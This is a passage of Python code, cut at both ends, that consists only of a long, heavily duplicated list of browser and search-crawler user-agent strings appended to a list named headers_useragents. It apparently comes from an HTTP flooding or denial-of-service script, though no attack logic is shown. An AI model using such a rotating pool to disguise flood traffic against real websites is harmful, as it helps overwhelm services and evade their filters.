Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET 